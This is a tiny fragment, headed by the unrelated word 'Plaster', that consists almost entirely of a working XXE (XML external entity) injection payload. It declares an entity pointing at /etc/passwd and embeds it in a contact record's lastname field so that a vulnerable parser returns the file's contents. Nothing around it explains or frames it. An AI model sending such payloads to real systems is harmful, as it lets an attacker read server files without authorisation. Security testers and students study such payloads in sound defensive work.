Plaster

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <contacts> <contact> <firstname>John</firstname> <lastname>&xxe;</lastname> </contact> </contacts>